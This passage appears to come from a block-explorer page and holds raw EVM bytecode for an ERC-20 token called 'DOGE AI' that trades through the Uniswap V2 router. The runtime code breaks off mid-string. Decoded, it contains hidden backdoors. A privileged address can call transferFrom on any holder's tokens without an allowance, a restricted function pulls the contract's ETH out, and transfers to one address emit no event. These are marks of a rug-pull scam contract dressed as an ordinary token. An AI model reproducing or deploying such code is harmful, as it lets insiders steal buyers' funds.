5f8383111582906118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e59190611f94565b60405180910390fd5b505f83856118fc9190612a45565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561194c573d5f5f3e3d5ffd5b5050565b5f5f8303611960575f90506119c1565b5f828461196d91906123ff565b905082848261197c9190612aa5565b146119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b390612b45565b60405180910390fd5b809150505b92915050565b5f611a0883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e13565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a4757611a46612b63565b5b604051908082528060200260200182016040528015611a755781602001602082028036833780820191505090505b50905030815f81518110611a8c57611a8b612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b30573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b549190612565565b81600181518110611b6857611b67612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bce3060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eb6565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c30959493929190612c74565b5f604051808303815f87803b158015611c47575f5ffd5b505af1158015611c59573d5f5f3e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cdf573d5f5f3e3d5ffd5b5050565b5f5f8284611cf19190612ccc565b905083811015611d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2d90612d49565b60405180910390fd5b8091505092915050565b5f611d8183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a7565b905092915050565b5f5f1515611d95611e74565b151503611da4575f9050611e0d565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e015760019050611e0d565b611e0a82611ecb565b90505b92915050565b5f5f83118290611e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e509190611f94565b60405180910390fd5b505f8385611e679190612aa5565b9050809150509392505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415905090565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f6682611f24565b611f708185611f2e565b9350611f80818560208601611f3e565b611f8981611f4c565b840191505092915050565b5f6020820190508181035f830152611fac8184611f5c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fe182611fb8565b9050919050565b611ff181611fd7565b8114611ffb575f5ffd5b50565b5f8135905061200c81611fe8565b92915050565b5f819050919050565b61202481612012565b811461202e575f5ffd5b50565b5f8135905061203f8161201b565b92915050565b5f5f6040838503121561205b5761205a611fb4565b5b5f61206885828601611ffe565b925050602061207985828601612031565b9150509250929050565b5f8115159050919050565b61209781612083565b82525050565b5f6020820190506120b05f83018461208e565b92915050565b6120bf81612012565b82525050565b5f6020820190506120d85f8301846120b6565b92915050565b5f5f5f606084860312156120f5576120f4611fb4565b5b5f61210286828701611ffe565b935050602061211386828701611ffe565b925050604061212486828701612031565b9150509250925092565b5f60ff82169050919050565b6121438161212e565b82525050565b5f60208201905061215c5f83018461213a565b92915050565b5f6020828403121561217757612176611fb4565b5b5f61218484828501611ffe565b91505092915050565b5f61219782611fb8565b9050919050565b6121a78161218d565b81146121b1575f5ffd5b50565b5f813590506121c28161219e565b92915050565b5f602082840312156121dd576121dc611fb4565b5b5f6121ea848285016121b4565b91505092915050565b6121fc81611fd7565b82525050565b5f6020820190506122155f8301846121f3565b92915050565b5f5f6040838503121561223157612230611fb4565b5b5f61223e85828601611ffe565b925050602061224f85828601611ffe565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156122db578086048111156122b7576122b6612259565b5b60018516156122c65780820291505b80810290506122d485612286565b945061229b565b94509492505050565b5f826122f357600190506123ae565b81612300575f90506123ae565b816001811461231657600281146123205761234f565b60019150506123ae565b60ff84111561233257612331612259565b5b8360020a91508482111561234957612348612259565b5b506123ae565b5060208310610133831016604e8410600b84101617156123845782820a90508381111561237f5761237e612259565b5b6123ae565b6123918484846001612292565b925090508184048111156123a8576123a7612259565b5b81810290505b9392505050565b5f6123bf82612012565b91506123ca8361212e565b92506123f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122e4565b905092915050565b5f61240982612012565b915061241483612012565b925082820261242281612012565b9150828204841483151761243957612438612259565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612474602083611f2e565b915061247f82612440565b602082019050919050565b5f6020820190508181035f8301526124a181612468565b9050919050565b50565b5f6124b65f83611f2e565b91506124c1826124a8565b5f82019050919050565b5f6020820190508181035f8301526124e2816124ab565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f61251d601183611f2e565b9150612528826124e9565b602082019050919050565b5f6020820190508181035f83015261254a81612511565b9050919050565b5f8151905061255f81611fe8565b92915050565b5f6020828403121561257a57612579611fb4565b5b5f61258784828501612551565b91505092915050565b5f6040820190506125a35f8301856121f3565b6125b060208301846121f3565b9392505050565b5f819050919050565b5f819050919050565b5f6125e36125de6125d9846125b7565b6125c0565b612012565b9050919050565b6125f3816125c9565b82525050565b5f60c08201905061260c5f8301896121f3565b61261960208301886120b6565b61262660408301876125ea565b61263360608301866125ea565b61264060808301856121f3565b61264d60a08301846120b6565b979650505050505050565b5f815190506126668161201b565b92915050565b5f5f5f6060848603121561268357612682611fb4565b5b5f61269086828701612658565b93505060206126a186828701612658565b92505060406126b286828701612658565b9150509250925092565b5f6040820190506126cf5f8301856121f3565b6126dc60208301846120b6565b9392505050565b6126ec81612083565b81146126f6575f5ffd5b50565b5f81519050612707816126e3565b92915050565b5f6020828403121561272257612721611fb4565b5b5f61272f848285016126f9565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612792602483611f2e565b915061279d82612738565b604082019050919050565b5f6020820190508181035f8301526127bf81612786565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612820602283611f2e565b915061282b826127c6565b604082019050919050565b5f6020820190508181035f83015261284d81612814565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128ae602583611f2e565b91506128b982612854565b604082019050919050565b5f6020820190508181035f8301526128db816128a2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61293c602383611f2e565b9150612947826128e2565b604082019050919050565b5f6020820190508181035f83015261296981612930565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129ca602983611f2e565b91506129d582612970565b604082019050919050565b5f6020820190508181035f8301526129f7816129be565b9050919050565b5f612a0882612012565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a3a57612a39612259565b5b600182019050919050565b5f612a4f82612012565b9150612a5a83612012565b9250828203905081811115612a7257612a71612259565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612aaf82612012565b9150612aba83612012565b925082612aca57612ac9612a78565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b2f602183611f2e565b9150612b3a82612ad5565b604082019050919050565b5f6020820190508181035f830152612b5c81612b23565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612bef81611fd7565b82525050565b5f612c008383612be6565b60208301905092915050565b5f602082019050919050565b5f612c2282612bbd565b612c2c8185612bc7565b9350612c3783612bd7565b805f5b83811015612c67578151612c4e8882612bf5565b9750612c5983612c0c565b925050600181019050612c3a565b5085935050505092915050565b5f60a082019050612c875f8301886120b6565b612c9460208301876125ea565b8181036040830152612ca68186612c18565b9050612cb560608301856121f3565b612cc260808301846120b6565b9695505050505050565b5f612cd682612012565b9150612ce183612012565b9250828201905080821115612cf957612cf8612259565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d33601b83611f2e565b9150612d3e82612cff565b602082019050919050565b5f6020820190508181035f830152612d6081612d27565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204bfcab5c33908bbca5051bdc3c4e6ddce34dd149fb6f5d98d35a05bc996c32ff64736f6c634300081b0033

Deployed Bytecode

0x608060405260043610610101575f3560e01c8063870d3f3011610094578063d9ab277911610063578063d9ab277914610322578063dd62ed3e1461034c578063df74782014610388578063f270e0361461039e578063ffd56420146103c857610108565b8063870d3f301461026a5780638da5cb5b1461029257806395d89b41146102bc578063a9059cbb146102e657610108565b8063313ce567116100d0578063313ce567146101d857806370a0823114610202578063715018a61461023e578063751039fc1461025457610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f5ffd5b348015610117575f5ffd5b506101206103f2565b60405161012d9190611f94565b60405180910390f35b348015610141575f5ffd5b5061015c60048036038101906101579190612045565b61042f565b604051610169919061209d565b60405180910390f35b34801561017d575f5ffd5b5061018661044c565b60405161019391906120c5565b60405180910390f35b3480156101a7575f5ffd5b506101c260048036038101906101bd91906120de565b61046f565b6040516101cf919061209d565b60405180910390f35b3480156101e3575f5ffd5b506101ec6104ce565b6040516101f99190612149565b60405180910390f35b34801561020d575f5ffd5b5061022860048036038101906102239190612162565b6104d6565b60405161023591906120c5565b60405180910390f35b348015610249575f5ffd5b5061025261051c565b005b34801561025f575f5ffd5b5061026861066c565b005b348015610275575f5ffd5b50610290600480360381019061028b91906121c8565b61079c565b005b34801561029d575f5ffd5b506102a6610877565b6040516102b39190612202565b60405180910390f35b3480156102c7575f5ffd5b506102d061089e565b6040516102dd9190611f94565b60405180910390f35b3480156102f1575f5ffd5b5061030c60048036038101906103079190612045565b6108db565b604051610319919061209d565b60405180910390f35b34801561032d575f5ffd5b506103366108f8565b60405161034391906120c5565b60405180910390f35b348015610357575f5ffd5b50610372600480360381019061036d919061221b565b6108fe565b60405161037f91906120c5565b60405180910390f35b348015610393575f5ffd5b5061039c610980565b005b3480156103a9575f5ffd5b506103b2610ea3565b6040516103bf91906120c5565b60405180910390f35b3480156103d3575f5ffd5b506103dc610ea9565b6040516103e991906120c5565b60405180910390f35b60606040518060400160405280600781526020017f444f474520414900000000000000000000000000000000000000000000000000815250905090565b5f61044261043b610eaf565b8484610eb6565b6001905092915050565b5f6009600a61045b91906123b5565b633b9aca0061046a91906123ff565b905090565b5f61047b848484611079565b6104c384610487610eaf565b6104be85604051806060016040528060288152602001612d68602891396104af8a8a8a611805565b6118a79092919063ffffffff16565b610eb6565b600190509392505050565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610524610eaf565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a89061248a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610674610eaf565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f89061248a565b60405180910390fd5b6009600a61070f91906123b5565b633b9aca0061071e91906123ff565b600e819055506009600a61073291906123b5565b633b9aca0061074191906123ff565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61077691906123b5565b633b9aca0061078591906123ff565b60405161079291906120c5565b60405180910390a1565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610822906124cb565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061087447611909565b50565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f444f474541490000000000000000000000000000000000000000000000000000815250905090565b5f6108ee6108e7610eaf565b8484611079565b6001905092915050565b600f5481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610988610eaf565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c9061248a565b60405180910390fd5b601260149054906101000a900460ff1615610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90612533565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b013060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610aed91906123b5565b633b9aca00610afc91906123ff565b610eb6565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8f9190612565565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c15573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c399190612565565b6040518363ffffffff1660e01b8152600401610c56929190612590565b6020604051808303815f875af1158015610c72573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c969190612565565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d1d306104d6565b5f5f610d27610877565b426040518863ffffffff1660e01b8152600401610d49969594939291906125f9565b60606040518083038185885af1158015610d65573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d8a919061266c565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e2a9291906126bc565b6020604051808303815f875af1158015610e46573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6a919061270d565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b60105481565b600e5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b906127a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990612836565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106c91906120c5565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de906128c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90612952565b60405180910390fd5b5f8111611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e906129e0565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561120357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611500576112446064611236600954600b541161122357600554611227565b6007545b8561195090919063ffffffff16565b6119c790919063ffffffff16565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ef575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611342575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561135f57600b5f815480929190611359906129fe565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113e757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561142b57611428606461141a600a54600b54116114075760065461140b565b6008545b8561195090919063ffffffff16565b6119c790919063ffffffff16565b90505b5f611435306104d6565b9050601260159054906101000a900460ff161580156114a0575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114b85750601260169054906101000a900460ff165b156114fe575f8111156114f4575f60105482106114d7576010546114d9565b815b90506114f28185106114eb57816114ed565b845b611a10565b505b6114fd47611c7b565b5b505b5f8111156115ff576115588160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ce390919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115f691906120c5565b60405180910390a35b61164f8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4090919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116f26116a68284611d4090919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ce390919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ff578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117e98486611d4090919063ffffffff16565b6040516117f691906120c5565b60405180910390a35b50505050565b5f5f8290506118148585611d89565b1561189c5760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61185f610eaf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f8383111582906118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e59190611f94565b60405180910390fd5b505f83856118fc9190612a45565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561194c573d5f5f3e3d5ffd5b5050565b5f5f8303611960575f90506119c1565b5f828461196d91906123ff565b905082848261197c9190612aa5565b146119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b390612b45565b60405180910390fd5b809150505b92915050565b5f611a0883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e13565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a4757611a46612b63565b5b604051908082528060200260200182016040528015611a755781602001602082028036833780820191505090505b50905030815f81518110611a8c57611a8b612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b30573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b549190612565565b81600181518110611b6857611b67612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bce3060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eb6565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c30959493929190612c74565b5f604051808303815f87803b158015611c47575f5ffd5b505af1158015611c59573d5f5f3e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cdf573d5f5f3e3d5ffd5b5050565b5f5f8284611cf19190612ccc565b905083811015611d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2d90612d49565b60405180910390fd5b8091505092915050565b5f611d8183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a7565b905092915050565b5f5f1515611d95611e74565b151503611da4575f9050611e0d565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e015760019050611e0d565b611e0a82611ecb565b90505b92915050565b5f5f83118290611e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e509190611f94565b60405180910390fd5b505f8385611e679190612aa5565b9050809150509392505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415905090565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f6682611f24565b611f708185611f2e565b9350611f80818560208601611f3e565b611f8981611f4c565b840191505092915050565b5f6020820190508181035f830152611fac8184611f5c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fe182611fb8565b9050919050565b611ff181611fd7565b8114611ffb575f5ffd5b50565b5f8135905061200c81611fe8565b92915050565b5f819050919050565b61202481612012565b811461202e575f5ffd5b50565b5f8135905061203f8161201b565b92915050565b5f5f6040838503121561205b5761205a611fb4565b5b5f61206885828601611ffe565b925050602061207985828601612031565b9150509250929050565b5f8115159050919050565b61209781612083565b82525050565b5f6020820190506120b05f83018461208e565b92915050565b6120bf81612012565b82525050565b5f6020820190506120d85f8301846120b6565b92915050565b5f5f5f606084860312156120f5576120f4611fb4565b5b5f61210286828701611ffe565b935050602061211386828701611ffe565b925050604061212486828701612031565b9150509250925092565b5f60ff82169050919050565b6121438161212e565b82525050565b5f60208201905061215c5f83018461213a565b92915050565b5f6020828403121561217757612176611fb4565b5b5f61218484828501611ffe565b91505092915050565b5f61219782611fb8565b9050919050565b6121a78161218d565b81146121b1575f5ffd5b50565b5f813590506121c28161219e565b92915050565b5f602082840312156121dd576121dc611fb4565b5b5f6121ea848285016121b4565b91505092915050565b6121fc81611fd7565b82525050565b5f6020820190506122155f8301846121f3565b92915050565b5f5f6040838503121561223157612230611fb4565b5b5f61223e85828601611ffe565b925050602061224f85828601611ffe565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156122db578086048111156122b7576122b6612259565b5b60018516156122c65780820291505b80810290506122d485612286565b945061229b565b94509492505050565b5f826122f357600190506123ae565b81612300575f90506123ae565b816001811461231657600281146123205761234f565b60019150506123ae565b60ff84111561233257612331612259565b5b8360020a91508482111561234957612348612259565b5b506123ae565b5060208310610133831016604e8410600b84101617156123845782820a90508381111561237f5761237e612259565b5b6123ae565b6123918484846001612292565b925090508184048111156123a8576123a7612259565b5b81810290505b9392505050565b5f6123bf82612012565b91506123ca8361212e565b92506123f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122e4565b905092915050565b5f61240982612012565b915061241483612012565b925082820261242281612012565b9150828204841483151761243957612438612259565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612474602083611f2e565b915061247f82612440565b602082019050919050565b5f6020820190508181035f8301526124a181612468565b9050919050565b50565b5f6124b65f83611f2e565b91506124c1826124a8565b5f82019050919050565b5f6020820190508181035f8301526124e2816124ab565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f61251d601183611f2e565b9150612528826124e9565b602082019050919050565b5f6020820190508181035f83015261254a81612511565b9050919050565b5f8151905061255f81611fe8565b92915050565b5f6020828403121561257a57612579611fb4565b5b5f61258784828501612551565b91505092915050565b5f6040820190506125a35f8301856121f3565b6125b060208301846121f3565b9392505050565b5f819050919050565b5f819050919050565b5f6125e36125de6125d9846125b7565b6125c0565b612012565b9050919050565b6125f3816125c9565b82525050565b5f60c08201905061260c5f8301896121f3565b61261960208301886120b6565b61262660408301876125ea565b61263360608301866125ea565b61264060808301856121f3565b61264d60a08301846120b6565b979650505050505050565b5f815190506126668161201b565b92915050565b5f5f5f6060848603121561268357612682611fb4565b5b5f61269086828701612658565b93505060206126a186828701612658565b92505060406126b286828701612658565b9150509250925092565b5f6040820190506126cf5f8301856121f3565b6126dc60208301846120b6565b9392505050565b6126ec81612083565b81146126f6575f5ffd5b50565b5f81519050612707816126e3565b92915050565b5f6020828403121561272257612721611fb4565b5b5f61272f848285016126f9565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612792602483611f2e565b915061279d82612738565b604082019050919050565b5f6020820190508181035f8301526127bf81612786565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612820602283611f2e565b915061282b826127c6565b604082019050919050565b5f6020820190508181035f83015261284d81612814565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128ae602583611f2e565b91506128b982612854565b604082019050919050565b5f6020820190508181035f8301526128db816128a2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61293c602383611f2e565b9150612947826128e2565b604082019050919050565b5f6020820190508181035f83015261296981612930565b9050919050565b7f5472616e7